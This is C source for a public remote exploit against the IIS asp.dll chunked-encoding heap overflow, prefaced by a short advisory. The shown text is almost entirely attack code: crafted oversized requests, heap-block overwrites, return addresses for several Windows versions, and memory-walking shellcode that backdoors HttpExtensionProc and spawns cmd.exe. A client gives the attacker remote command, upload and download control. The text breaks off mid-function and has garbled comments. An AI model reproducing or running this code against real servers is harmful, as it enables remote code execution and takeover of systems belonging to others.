1486 lines
No EOL
40 KiB
C
1486 lines
No EOL
40 KiB
C
/*
|
||
source: https://www.securityfocus.com/bid/4485/info
|
||
|
||
A heap overflow condition in the 'chunked encoding transfer mechanism' related to Active Server Pages has been reported for Microsoft IIS (Internet Information Services).
|
||
|
||
This condition affects IIS 4.0 and IIS 5.0. Exploitation of this vulnerability may result in a denial of service or allow for a remote attacker to execute arbitrary instructions on the victim host.
|
||
|
||
Microsoft IIS 5.0 is reported to ship with a default script (iisstart.asp) which may be sufficient for a remote attacker to exploit. Other sample scripts may also be exploitable.
|
||
|
||
A number of Cisco products are affected by this vulnerability, although this issue is not present in the Cisco products themselves.
|
||
*/
|
||
|
||
/*
|
||
aspcode.c ver1.0
|
||
iis4.0<EFBFBD><EFBFBD>iis5.0<EFBFBD><EFBFBD>iis5.1 asp.dll overflow program
|
||
copy by yuange <yuange@nsfocus.com> 2002.4.24
|
||
*/
|
||
#include <windows.h>
|
||
#include <winsock.h>
|
||
#include <stdio.h>
|
||
#include <httpext.h>
|
||
#pragma comment(lib,"ws2_32")
|
||
//#define RETEIPADDR eipwin2000
|
||
#define FNENDLONG 0x08
|
||
#define NOPCODE 0x90
|
||
#define NOPLONG 0x50
|
||
#define BUFFSIZE 0x20000
|
||
#define PATHLONG 0x12
|
||
#define RETEIPADDRESS 0x468
|
||
#define SHELLBUFFSIZE 0x800
|
||
#define SHELLFNNUMS 14
|
||
#define DATABASE 0x61
|
||
#define DATAXORCODE 0x55
|
||
#define LOCKBIGNUM 19999999
|
||
#define LOCKBIGNUM2 13579139
|
||
#define MCBSIZE 0x8
|
||
#define MEMSIZE 0xb200
|
||
#define SHELLPORT 0x1f90 //0x1f90=8080
|
||
#define WEBPORT 80
|
||
void shellcodefnlock();
|
||
void shellcodefnlock2();
|
||
void shellcodefn(char *ecb);
|
||
void shellcodefn2(char *ecb);
|
||
void cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int
|
||
len);
|
||
void iisput(int fd,char *str);
|
||
void iisget(int fd,char *str);
|
||
void iiscmd(int fd,char *str);
|
||
void iisreset();
|
||
void iisdie();
|
||
void iishelp();
|
||
int newrecv(int fd,char *buff,int size,int flag);
|
||
int newsend(int fd,char *buff,int size,int flag);
|
||
int xordatabegin;
|
||
int lockintvar1,lockintvar2;
|
||
char lockcharvar;
|
||
int main(int argc, char **argv)
|
||
{
|
||
char *server;
|
||
char *str="LoadLibraryA""\x0""CreatePipe""\x0"
|
||
"CreateProcessA""\x0""CloseHandle""\x0"
|
||
"PeekNamedPipe""\x0"
|
||
"ReadFile""\x0""WriteFile""\x0"
|
||
"CreateFileA""\x0"
|
||
"GetFileSize""\x0"
|
||
"GetLastError""\x0"
|
||
"Sleep""\x0"
|
||
"\x09""ntdll.dll""\x0""RtlEnterCriticalSection""\x0"
|
||
"\x09""asp.dll""\x0""HttpExtensionProc""\x0"
|
||
"\x09""msvcrt.dll""\x0""memcpy""\x0""\x0"
|
||
"cmd.exe""\x0""\x0d\x0a""exit""\x0d\x0a""\x0"
|
||
"XORDATA""\x0""xordatareset""\x0"
|
||
"strend";
|
||
// char buff0[]="TRACK / HTTP/1.1\nHOST:";
|
||
char buff1[]="GET /";
|
||
char buff2[]="default.asp";
|
||
char *buff2add;
|
||
char buff3[]="?!!ko ";
|
||
char buff4[]=" HTTP/1.1 \nHOST:";
|
||
char buff5[]="\nContent-Type: application/x-www-form-urlencoded";
|
||
char buff51[]="\nTransfer-Encoding:chunked";
|
||
char buff6[]="\nContent-length: 2147506431\r\n\r\n"; //
|
||
0x80000000+MEMSIZE-1
|
||
char buff61[]="\nContent-length: 4294967295\r\n\r\n"; // 0xffffffff
|
||
char buff7[]=
|
||
"\x10\x00\x01\x02\x03\x04\x05\x06\x1c\xf0\xfd\x7f\x20\x21\x00\x01";
|
||
char buff11[]=
|
||
"\x02\x00\x01\x02\x03\x04\x05\x06\x22\x22\x00\x01\x22\x22\x00\x01";
|
||
char buff10[]="\x20\x21\x00\x01\x20\x21\x00\x01";
|
||
char buff9[]= "\x20\x21\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30";
|
||
char buff8[]= "\x81\xec\xff\xe4\x90\x90\x90\x90\x90\x90\x90\x90\x90";
|
||
/*
|
||
char
|
||
buff10[]="\x10\x00\x01\x02\x03\x04\x05\x06\x1d\x21\x00\x01\xec\x21\x00\x01";
|
||
char
|
||
buff11[]="\x10\x00\x01\x02\x03\x04\x05\x06\x20\x21\x00\x01\x01\x21\x00\x01";
|
||
char
|
||
buff12[]="\x10\x00\x01\x02\x03\x04\x05\x06\x21\x21\x00\x01\x00\x21\x00\x01";
|
||
char
|
||
buff13[]="\x10\x00\x01\x02\x03\x04\x05\x06\x22\x21\x00\x01\xff\x21\x00\x01";
|
||
char
|
||
buff14[]="\x10\x00\x01\x02\x03\x04\x05\x06\x23\x21\x00\x01\xe4\x21\x00\x01";
|
||
char
|
||
buff15[]="\x10\x00\x01\x02\x03\x04\x05\x06\x24\x21\x00\x01\x90\x21\x00\x01";
|
||
*/
|
||
char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
|
||
char SRLF[]="\x0d\x0a\x00\x00";
|
||
|
||
char *eipexceptwin2000add;
|
||
char eipexceptwin20002[]="\x80\x70\x9f\x74"; // push ebx ;
|
||
ret address
|
||
char eipexceptwin2000cn[]="\x73\x67\xfa\x7F"; // push ebx ;
|
||
ret address
|
||
char eipexceptwin2000[]="\x80\x70\x97\x74";
|
||
// char eipexceptwin2000[]="\xb3\x9d\xfa\x77"; // \x01\x78";
|
||
// call ebx address
|
||
char eipexceptwin2000msvcrt[]="\xD3\xCB\x01\x78";
|
||
char eipexceptwin2000sp2[]="\x02\xbc\x01\x78";
|
||
// char eipexceptwin2000[]="\x0B\x08\x5A\x68";
|
||
// char eipexceptwin2000[]="\x32\x8d\x9f\x74";
|
||
char eipexceptwinnt[] ="\x82\x01\xfc\x7F"; // push esi ;
|
||
ret address
|
||
// char eipexceptwinnt[] ="\x2e\x01\x01\x78";
|
||
// call esi address
|
||
// char eipexcept2[]="\xd0\xae\xdc\x77"; //
|
||
char buff[BUFFSIZE];
|
||
char recvbuff[BUFFSIZE];
|
||
char shellcodebuff[BUFFSIZE];
|
||
char shellcodebuff2[BUFFSIZE];
|
||
struct sockaddr_in s_in2,s_in3;
|
||
struct hostent *he;
|
||
char *shellcodefnadd,*chkespadd;
|
||
unsigned int sendpacketlong,buff2long,shelladd,packlong;
|
||
int i,j,k,l,strheadlong;
|
||
unsigned char temp;
|
||
int fd;
|
||
u_short port,port1,shellcodeport;
|
||
SOCKET d_ip;
|
||
WSADATA wsaData;
|
||
int offset=0;
|
||
int OVERADD=RETEIPADDRESS;
|
||
int result;
|
||
fprintf(stderr,"\n IIS ASP.DLL OVERFLOW PROGRAM 2.0 .");
|
||
fprintf(stderr,"\n copy by yuange 2002.4.24.");
|
||
fprintf(stderr,"\n welcome to my homepage http://yuange.yeah.net .");
|
||
fprintf(stderr,"\n welcome to http://www.nsfocus.com .");
|
||
fprintf(stderr,"\n usage: %s <server> [aspfile] [webport] [winxp] \n",
|
||
argv[0]);
|
||
buff2add=buff2;
|
||
if(argc <2){
|
||
fprintf(stderr,"\n please enter the web server:");
|
||
gets(recvbuff);
|
||
for(i=0;i<strlen(recvbuff);++i){
|
||
if(recvbuff[i]!=' ') break;
|
||
}
|
||
server=recvbuff;
|
||
if(i<strlen(recvbuff)) server+=i;
|
||
fprintf(stderr,"\n please enter the .asp filename:");
|
||
gets(shellcodebuff);
|
||
for(i=0;i<strlen(shellcodebuff);++i){
|
||
if(shellcodebuff[i]!=' ') break;
|
||
}
|
||
buff2add=shellcodebuff+i;
|
||
printf("\n .asp file name:%s\n",buff2add);
|
||
}
|
||
eipexceptwin2000add=eipexceptwin2000;
|
||
// printf("\n argc%d argv%s",argc,argv[5]);
|
||
if(argc>5){
|
||
if(strcmp(argv[5],"cn")==0) {
|
||
eipexceptwin2000add=eipexceptwin2000cn;
|
||
printf("\n For the cn system.\n");
|
||
}
|
||
if(strcmp(argv[5],"sp0")==0) {
|
||
eipexceptwin2000add=eipexceptwin20002;
|
||
printf("\n For the sp0 system.\n");
|
||
}
|
||
if(strcmp(argv[5],"msvcrt")==0) {
|
||
eipexceptwin2000add=eipexceptwin2000msvcrt;
|
||
printf("\n Use msvcrt.dll JMP to shell.\n");
|
||
}
|
||
if(strcmp(argv[5],"sp2")==0) {
|
||
eipexceptwin2000add=eipexceptwin2000sp2;
|
||
printf("\n Use sp2 msvcrt.dll JMP to shell.\n");
|
||
}
|
||
}
|
||
result= WSAStartup(MAKEWORD(1, 1), &wsaData);
|
||
if (result != 0) {
|
||
fprintf(stderr, "Your computer was not connected "
|
||
"to the Internet at the time that "
|
||
"this program was launched, or you "
|
||
"do not have a 32-bit "
|
||
"connection to the Internet.");
|
||
exit(1);
|
||
}
|
||
/*
|
||
if(argc>4){
|
||
offset=atoi(argv[4]);
|
||
}
|
||
// OVERADD+=offset;
|
||
// packlong=0x10000-offset+0x8;
|
||
if(offset<-0x20||offset>0x20){
|
||
fprintf(stderr,"\n offset error !offset -32 --- +32 .");
|
||
gets(buff);
|
||
exit(1);
|
||
}
|
||
*/
|
||
if(argc <2){
|
||
// WSACleanup( );
|
||
// exit(1);
|
||
}
|
||
else server = argv[1];
|
||
for(i=0;i<strlen(server);++i){
|
||
if(server[i]!=' ')
|
||
break;
|
||
}
|
||
if(i<strlen(server)) server+=i;
|
||
for(i=0;i+3<strlen(server);++i){
|
||
|
||
if(server[i]==':'){
|
||
if(server[i+1]=='\\'||server[i+1]=='/'){
|
||
if(server[i+2]=='\\'||server[i+2]=='/'){
|
||
server+=i;
|
||
server+=3;
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
}
|
||
for(i=1;i<=strlen(server);++i){
|
||
if(server[i-1]=='\\'||server[i-1]=='/') server[i-1]=0;
|
||
}
|
||
d_ip = inet_addr(server);
|
||
if(d_ip==-1){
|
||
he = gethostbyname(server);
|
||
if(!he)
|
||
{
|
||
WSACleanup( );
|
||
printf("\n Can't get the ip of %s !\n",server);
|
||
gets(buff);
|
||
exit(1);
|
||
}
|
||
else memcpy(&d_ip, he->h_addr, 4);
|
||
}
|
||
|
||
if(argc>3) port=atoi(argv[3]);
|
||
else port=WEBPORT;
|
||
if(port==0) port=WEBPORT;
|
||
fd = socket(AF_INET, SOCK_STREAM,0);
|
||
i=8000;
|
||
setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i));
|
||
|
||
s_in3.sin_family = AF_INET;
|
||
s_in3.sin_port = htons(port);
|
||
s_in3.sin_addr.s_addr = d_ip;
|
||
printf("\n nuke ip: %s port
|
||
%d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));
|
||
|
||
if(connect(fd, (struct sockaddr *)&s_in3, sizeof(struct
|
||
sockaddr_in))!=0)
|
||
{
|
||
closesocket(fd);
|
||
WSACleanup( );
|
||
fprintf(stderr,"\n connect err.");
|
||
gets(buff);
|
||
exit(1);
|
||
}
|
||
|
||
_asm{
|
||
mov ESI,ESP
|
||
cmp ESI,ESP
|
||
}
|
||
_chkesp();
|
||
chkespadd=_chkesp;
|
||
temp=*chkespadd;
|
||
if(temp==0xe9) {
|
||
++chkespadd;
|
||
i=*(int*)chkespadd;
|
||
chkespadd+=i;
|
||
chkespadd+=4;
|
||
}
|
||
/*
|
||
shellcodefnadd=shellcodefnlock;
|
||
temp=*shellcodefnadd;
|
||
if(temp==0xe9) {
|
||
++shellcodefnadd;
|
||
k=*(int *)shellcodefnadd;
|
||
shellcodefnadd+=k;
|
||
shellcodefnadd+=4;
|
||
}
|
||
for(k=0;k<=0x500;++k){
|
||
if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
|
||
}
|
||
*/
|
||
memset(buff,NOPCODE,BUFFSIZE);
|
||
/*
|
||
strcpy(buff,buff0);
|
||
if(argc>6) strcat(buff,argv[6]);
|
||
else strcat(buff,server);
|
||
strcat(buff,"\r\n\r\n"); //Proxy_Connection: Keep-Alive\r\n");
|
||
|
||
strcat(buff,buff1);
|
||
*/
|
||
strcpy(buff,buff1);
|
||
strheadlong=strlen(buff);
|
||
OVERADD+=strheadlong-1;
|
||
|
||
if(argc>2) buff2add=argv[2];
|
||
for(;;++buff2add){
|
||
temp=*buff2add;
|
||
if(temp!='\\'&&temp!='/') break;
|
||
}
|
||
// printf("\nfile:%s",buff2add);
|
||
buff2long=strlen(buff2add);
|
||
strcat(buff,buff2add);
|
||
// fprintf(stderr,"\n offset:%d\n",offset);
|
||
// offset+=strheadlong-strlen(buff1);
|
||
|
||
/*
|
||
for(i=0x404;i<=0x500;i+=8){
|
||
memcpy(buff+offset+i,"\x42\x42\x42\x2d",4); // 0x2d sub eax,num32
|
||
memcpy(buff+offset+i+4,eipexceptwin2000add,4);
|
||
}
|
||
if(argc>5){
|
||
if(strcmp(argv[5],"sp2")==0) {
|
||
memcpy(buff+offset+i,"\x58",1);
|
||
}
|
||
}
|
||
for(i=0x220;i<=0x380;i+=8){
|
||
memcpy(buff+offset+i,"\x42\x42\x42\x2d",4); // 0x2d sub eax,num32
|
||
memcpy(buff+offset+i+4,eipexceptwinnt,4);
|
||
}
|
||
for(i=0x580;i<=0x728;i+=8){
|
||
memcpy(buff+offset+i,"\x42\x42\x42\x2d",4); // 0x2d sub eax,num32
|
||
memcpy(buff+offset+i+4,eipexceptwinnt,4);
|
||
}
|
||
*/
|
||
// winnt 0x2cc or 0x71c win2000 0x130 or 0x468
|
||
// memcpy(buff+offset+i+8,exceptret,strlen(exceptret));
|
||
shellcodefnadd=shellcodefnlock;
|
||
temp=*shellcodefnadd;
|
||
if(temp==0xe9) {
|
||
++shellcodefnadd;
|
||
k=*(int *)shellcodefnadd;
|
||
shellcodefnadd+=k;
|
||
shellcodefnadd+=4;
|
||
}
|
||
for(k=0;k<=0x500;++k){
|
||
if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
|
||
}
|
||
memset(shellcodebuff2,NOPCODE,BUFFSIZE);
|
||
i=0x1000;
|
||
memcpy(shellcodebuff2+i+4,shellcodefnadd+k+8,0x100);
|
||
|
||
shellcodefnadd=shellcodefn;
|
||
temp=*shellcodefnadd;
|
||
if(temp==0xe9) {
|
||
++shellcodefnadd;
|
||
k=*(int *)shellcodefnadd;
|
||
shellcodefnadd+=k;
|
||
shellcodefnadd+=4;
|
||
}
|
||
|
||
for(k=0;k<=BUFFSIZE;++k){
|
||
if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
|
||
}
|
||
// k+=0x
|
||
memcpy(shellcodebuff,shellcodefnadd,k); //j);
|
||
cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);
|
||
for(j=0;j<0x400;++j){
|
||
if(memcmp(str+j,"strend",6)==0) break;
|
||
}
|
||
memcpy(shellcodebuff+k,str,j);
|
||
sendpacketlong=k+j;
|
||
for(k=0;k<=0x200;++k){
|
||
if(memcmp(shellcodebuff2+i+4+k,fnendstr,FNENDLONG)==0) break;
|
||
}
|
||
for(j=0;j<sendpacketlong;++j){
|
||
temp=shellcodebuff[j];
|
||
// temp^=DATAXORCODE;
|
||
shellcodebuff2[i+4+k]=DATABASE+temp/0x10;
|
||
++k;
|
||
shellcodebuff2[i+4+k]=DATABASE+temp%0x10;
|
||
++k;
|
||
}
|
||
j=i+k;
|
||
j=j%8+3;
|
||
shellcodebuff2[i+j+k]=0;
|
||
// j=strlen(shellcodebuff2)%8+3;
|
||
for(j=0;j<=0xe000;j+=4){
|
||
strcat(shellcodebuff2,"\x41\x41\x41\x41"); // 0x2d sub eax,num32
|
||
// strcat(shellcodebuff2,eipexceptwin2000cn);
|
||
}
|
||
/*
|
||
strcat(shellcodebuff2,"\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x0f\x66\x83\
|
||
x6c\x24\x02\x01\x66\x81\x2c\x24\x01\x01\xff\x24\x24\xe8\xec\xff\xff\xff\
|
||
x90");
|
||
for(j=0;j<=0xb00;j+=4){
|
||
strcat(shellcodebuff2,"\x90\x90\x90\x2d"); // 0x2d sub eax,num32
|
||
}
|
||
*/
|
||
// printf("\nbuff:%s",buff);
|
||
printf("\n shellcode long 0x%x\n",sendpacketlong);
|
||
if(argc>4&&strcmp(argv[4],"apache")==0){
|
||
strcat(buff," ");
|
||
}
|
||
else strcat(buff,buff3);
|
||
printf("\n packetlong:0x%x\n",sendpacketlong);
|
||
strcat(buff,buff4);
|
||
if(argc>6) strcat(buff,argv[6]);
|
||
else strcat(buff,server);
|
||
strcat(buff,buff5);
|
||
if(argc>4&&strcmp(argv[4],"apache")==0) strcat(buff," ");
|
||
else strcat(buff,shellcodebuff2);
|
||
// strcat(buff,buff51);
|
||
if(argc>4&&(strcmp(argv[4],"winxp")==0||strcmp(argv[4],"apache")==0)) {
|
||
printf("\n for %s system\n",argv[4]);
|
||
strcat(buff,buff61);
|
||
}
|
||
else strcat(buff,buff6);
|
||
// printf("\n send buff:\n%s",buff);
|
||
/*
|
||
i=strlen(buff);
|
||
memset(buff+i,'a',0xc000);
|
||
memset(buff+i+0xc000-strlen(buff7),0,1);
|
||
strcat(buff+i+0xc000-0x10-strlen(buff7),buff7);
|
||
*/
|
||
// strcpy(buff8,buff7);
|
||
/* temp=buff7[5];
|
||
temp-=offset*0x10;
|
||
buff7[5]=temp;
|
||
i=*(int *)(buff7+4)+2;
|
||
printf("\nSEH=0x%x\n",i);
|
||
*/
|
||
/*
|
||
for(i=0;i<8;++i){
|
||
temp=buff7[i];
|
||
printf("%2x",temp);
|
||
}
|
||
*/
|
||
/*
|
||
for(i=0;i<0xc000/0x10;++i){
|
||
strcat(buff,buff7);
|
||
}
|
||
*/
|
||
// printf("\nbuff=%s\n",buff);
|
||
// strcat(buff,"\r\n");
|
||
// printf("\n send buff:\n%s",buff);
|
||
// strcpy(buff+OVERADD+NOPLONG,shellcode);
|
||
sendpacketlong=strlen(buff);
|
||
// printf("buff:\n%s",buff+0x10000);
|
||
/*
|
||
#ifdef DEBUG
|
||
_asm{
|
||
lea esp,buff
|
||
add esp,OVERADD
|
||
ret
|
||
}
|
||
#endif
|
||
*/
|
||
lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
|
||
lockintvar2=lockintvar1;
|
||
xordatabegin=0;
|
||
for(i=0;i<1;++i){
|
||
j=sendpacketlong;
|
||
// buff[0x2000]=0;
|
||
fprintf(stderr,"\n send packet %d bytes.",j);
|
||
// gets(buff);
|
||
send(fd,buff,j,0);
|
||
buff7[0]=MCBSIZE;
|
||
|
||
j=MEMSIZE+0x10;
|
||
i=0;
|
||
if(argc>4&&strcmp(argv[4],"winxp")==0)
|
||
{
|
||
j=0x18;
|
||
i=8;
|
||
}
|
||
for(k=0;i<0xc000;i+=0x10){
|
||
if(i>=j) {
|
||
|
||
k=((i-j)/(MCBSIZE*8));
|
||
if(k<=6){
|
||
memcpy(buff7+0x8,buff10,8);
|
||
buff7[0x8]=buff8[k];
|
||
buff7[0xc]=buff9[k];
|
||
}
|
||
else memcpy(buff7,buff11,0x10);
|
||
}
|
||
memcpy(buff+i,buff7,0x10);
|
||
|
||
}
|
||
if(argc>4&&strcmp(argv[4],"apache")==0){
|
||
for(k=0xb000;k<=0xc000;k+=2)
|
||
{
|
||
memset(buff+k,0x0d,1);
|
||
memset(buff+k+1,0x0a,1);
|
||
}
|
||
buff[0xc000]=0;
|
||
// for(k=0;k<0x10;++k) send(fd,buff,0xc000,0);
|
||
// printf("\nbuff:%s\n",buff);
|
||
}
|
||
else send(fd,buff,0xc000,0);
|
||
|
||
k=0;
|
||
ioctlsocket(fd, FIONBIO, &k);
|
||
j=0;
|
||
while(j==0){
|
||
k=newrecv(fd,recvbuff,BUFFSIZE,0);
|
||
if(k>=8&&strstr(recvbuff,"XORDATA")!=0) {
|
||
xordatabegin=1;
|
||
fprintf(stderr,"\n ok!recv %d bytes\n",k);
|
||
recvbuff[k]=0;
|
||
// printf("\n recv:%s",recvbuff);
|
||
// for(k-=8,j=0;k>0;k-=4,++j)printf("recvdata:0x%x\n",*(int
|
||
*)(recvbuff+8+4*j));
|
||
k=-1;
|
||
j=1;
|
||
}
|
||
if(k>0){
|
||
recvbuff[k]=0;
|
||
fprintf(stderr,"\n recv:\n %s",recvbuff);
|
||
}
|
||
}
|
||
}
|
||
k=1;
|
||
ioctlsocket(fd, FIONBIO, &k);
|
||
// fprintf(stderr,"\n now begin: \n");
|
||
/*
|
||
for(i=0;i<strlen(SRLF);++i){
|
||
SRLF[i]^=DATAXORCODE;
|
||
}
|
||
send(fd,SRLF,strlen(SRLF),0);
|
||
send(fd,SRLF,strlen(SRLF),0);
|
||
send(fd,SRLF,strlen(SRLF),0);
|
||
*/
|
||
k=1;
|
||
l=0;
|
||
while(k!=0){
|
||
if(k<0){
|
||
l=0;
|
||
i=0;
|
||
while(i==0){
|
||
gets(buff);
|
||
if(memcmp(buff,"iish",4)==0){
|
||
iishelp();
|
||
i=2;
|
||
}
|
||
if(memcmp(buff,"iisput",6)==0){
|
||
iisput(fd,buff+6);
|
||
i=2;
|
||
}
|
||
if(memcmp(buff,"iisget",6)==0){
|
||
iisget(fd,buff+6);
|
||
i=2;
|
||
}
|
||
if(memcmp(buff,"iiscmd",6)==0){
|
||
iiscmd(fd,buff+6);
|
||
i=2;
|
||
}
|
||
if(memcmp(buff,"iisreset",8)==0){
|
||
iisreset(fd,buff+6);
|
||
i=2;
|
||
}
|
||
if(memcmp(buff,"iisdie",6)==0){
|
||
iisdie(fd,buff+6);
|
||
i=2;
|
||
}
|
||
if(i==2)i=0;
|
||
else i=1;
|
||
}
|
||
|
||
k=strlen(buff);
|
||
|
||
memcpy(buff+k,SRLF,3);
|
||
// send(fd,SRLF,strlen(SRLF),0);
|
||
// fprintf(stderr,"%s",buff);
|
||
/*
|
||
for(i=0;i<k+2;++i){
|
||
lockintvar2=lockintvar2*0x100;
|
||
lockintvar2=lockintvar2%LOCKBIGNUM;
|
||
lockcharvar=lockintvar2%0x100;
|
||
buff[i]^=lockcharvar; // DATAXORCODE;
|
||
// buff[i]^=DATAXORCODE;
|
||
}
|
||
send(fd,buff,k+2,0);
|
||
*/
|
||
newsend(fd,buff,k+2,0);
|
||
// send(fd,SRLF,strlen(SRLF),0);
|
||
}
|
||
k=newrecv(fd,buff,BUFFSIZE,0);
|
||
if(xordatabegin==0&&k>=8&&strstr(buff,"XORDATA")!=0) {
|
||
xordatabegin=1;
|
||
k=-1;
|
||
}
|
||
if(k>0){
|
||
// fprintf(stderr,"recv %d bytes",k);
|
||
/*
|
||
if(xordatabegin==1){
|
||
for(i=0;i<k;++i){
|
||
lockintvar1=lockintvar1*0x100;
|
||
lockintvar1=lockintvar1%LOCKBIGNUM;
|
||
lockcharvar=lockintvar1%0x100;
|
||
buff[i]^=lockcharvar; // DATAXORCODE;
|
||
}
|
||
}
|
||
*/
|
||
l=0;
|
||
buff[k]=0;
|
||
fprintf(stderr,"%s",buff);
|
||
}
|
||
else{
|
||
Sleep(20);
|
||
if(l<20) k=1;
|
||
++l;
|
||
|
||
}
|
||
// if(k==0) break;
|
||
}
|
||
closesocket(fd);
|
||
WSACleanup( );
|
||
fprintf(stderr,"\n the server close connect.");
|
||
gets(buff);
|
||
return(0);
|
||
}
|
||
void shellcodefnlock()
|
||
{
|
||
_asm{
|
||
nop
|
||
nop
|
||
nop
|
||
nop
|
||
nop
|
||
nop
|
||
nop
|
||
nop
|
||
|
||
jmp next1
|
||
getediadd: pop edi
|
||
mov esp,edi
|
||
and esp,0xfffff0f0
|
||
jmp next2
|
||
getshelladd:
|
||
push 0x01
|
||
mov eax,edi
|
||
inc eax
|
||
inc eax
|
||
inc eax
|
||
inc eax
|
||
inc eax
|
||
mov edi,eax
|
||
mov esi,edi
|
||
// sub sp,8
|
||
xor ecx,ecx
|
||
looplock: lodsb
|
||
cmp al,cl
|
||
jz shell
|
||
sub al,DATABASE
|
||
mov ah,al
|
||
lodsb
|
||
sub al,DATABASE
|
||
shl ah,4
|
||
add al,ah
|
||
// lea eax,ptr word [edx*4+al]
|
||
stosb
|
||
jmp looplock
|
||
next1: call getediadd
|
||
next2: call getshelladd
|
||
shell:
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
|
||
|
||
}
|
||
}
|
||
void shellcodefn(char *ecb)
|
||
{ char Buff[SHELLBUFFSIZE+2];
|
||
int *except[3];
|
||
FARPROC memcpyadd;
|
||
FARPROC msvcrtdlladd;
|
||
FARPROC HttpExtensionProcadd;
|
||
FARPROC Aspdlladd;
|
||
|
||
FARPROC RtlEnterCriticalSectionadd;
|
||
FARPROC Ntdlladd;
|
||
FARPROC Sleepadd;
|
||
FARPROC GetLastErroradd;
|
||
FARPROC GetFileSizeadd;
|
||
FARPROC CreateFileAadd;
|
||
FARPROC WriteFileadd;
|
||
FARPROC ReadFileadd;
|
||
FARPROC PeekNamedPipeadd;
|
||
FARPROC CloseHandleadd;
|
||
FARPROC CreateProcessadd;
|
||
FARPROC CreatePipeadd;
|
||
FARPROC procloadlib;
|
||
FARPROC apifnadd[1];
|
||
FARPROC procgetadd=0;
|
||
FARPROC writeclient;
|
||
FARPROC readclient;
|
||
HCONN ConnID;
|
||
FARPROC shellcodefnadd=ecb;
|
||
char *stradd,*stradd2,*dooradd;
|
||
int imgbase,fnbase,i,k,l,thedoor;
|
||
HANDLE libhandle;
|
||
int fpt; //libwsock32;
|
||
STARTUPINFO siinfo;
|
||
PROCESS_INFORMATION ProcessInformation;
|
||
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
|
||
int lBytesRead;
|
||
int lockintvar1,lockintvar2;
|
||
char lockcharvar;
|
||
int shelllocknum;
|
||
// unsigned char temp;
|
||
SECURITY_ATTRIBUTES sa;
|
||
|
||
_asm { jmp nextcall
|
||
getstradd: pop stradd
|
||
lea EDI,except
|
||
mov eax,dword ptr FS:[0]
|
||
mov dword ptr [edi+0x08],eax
|
||
mov dword ptr FS:[0],EDI
|
||
}
|
||
except[0]=0xffffffff;
|
||
except[1]=stradd-0x07;
|
||
imgbase=0x77e00000;
|
||
_asm{
|
||
call getexceptretadd
|
||
}
|
||
for(;imgbase<0xbffa0000,procgetadd==0;){
|
||
imgbase+=0x10000;
|
||
if(imgbase==0x78000000) imgbase=0xbff00000;
|
||
if(*( WORD *)imgbase=='ZM'&& *(WORD *)(imgbase+*(int
|
||
*)(imgbase+0x3c))=='EP'){
|
||
fnbase=*(int *)(imgbase+*(int
|
||
*)(imgbase+0x3c)+0x78)+imgbase;
|
||
k=*(int *)(fnbase+0xc)+imgbase;
|
||
if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){
|
||
libhandle=imgbase;
|
||
k=imgbase+*(int *)(fnbase+0x20);
|
||
for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){
|
||
if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int
|
||
*)(4+imgbase+*(int *)k)=='Acor')
|
||
{
|
||
k=*(WORD *)(l+l+imgbase+*(int
|
||
*)(fnbase+0x24));
|
||
k+=*(int *)(fnbase+0x10)-1;
|
||
k=*(int *)(k+k+k+k+imgbase+*(int
|
||
*)(fnbase+0x1c));
|
||
procgetadd=k+imgbase;
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
//<2F><><EFBFBD><EFBFBD>KERNEL32<33><32>DLLģ<4C><C4A3><EFBFBD>ַ<EFBFBD><D6B7>API<50><49><EFBFBD><EFBFBD> GetProcAddress<73><73>ַ
|
||
//ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ<EFBFBD>治<EFBFBD><E6B2BB><EFBFBD><EFBFBD><EFBFBD>
|
||
if(procgetadd==0) goto die ;
|
||
i=stradd;
|
||
for(k=1;*stradd!=0;++k) {
|
||
if(*stradd==0x9) libhandle=procloadlib(stradd+1);
|
||
else apifnadd[k]=procgetadd(libhandle,stradd);
|
||
for(;*stradd!=0;++stradd){
|
||
}
|
||
++stradd;
|
||
}
|
||
++stradd;
|
||
k=0x7ffdf020;
|
||
*(int *)k=RtlEnterCriticalSectionadd;
|
||
k=stradd;
|
||
stradd=i;
|
||
thedoor=0;
|
||
i=0;
|
||
_asm{
|
||
jmp getdoorcall
|
||
getdooradd: pop dooradd;
|
||
mov l,esp
|
||
call getexceptretadd
|
||
}
|
||
if(i==0){
|
||
++i;
|
||
if(*(int *)ecb==0x90){
|
||
if(*(int *)(*(int *)(ecb+0x64))=='ok!!') {
|
||
i=0;
|
||
thedoor=1;
|
||
}
|
||
}
|
||
}
|
||
if(i!=0){
|
||
*(int *)(dooradd-0x0c)=HttpExtensionProcadd;
|
||
*(int *)(dooradd-0x13)=shellcodefnadd;
|
||
ecb=0;
|
||
_asm{
|
||
call getexceptretadd
|
||
}
|
||
i=ecb;
|
||
i&=0xfffff000;
|
||
ecb=i;
|
||
ecb+=0x1000;
|
||
for(;i<l;++i,++ecb)
|
||
{
|
||
if(*(int *)ecb==0x90){
|
||
if(*(int *)(ecb+8)==(int *)ecb){
|
||
if(*(int *)*(int *)(ecb+0x64)=='ok!!') break;
|
||
}
|
||
}
|
||
}
|
||
i=0;
|
||
_asm{
|
||
call getexceptretadd
|
||
}
|
||
i&=0xfffff000;
|
||
i+=0x1000;
|
||
for(;i<l;++i){
|
||
if(*(int *)i==HttpExtensionProcadd){
|
||
*(int *)i=dooradd-7;
|
||
// break;
|
||
}
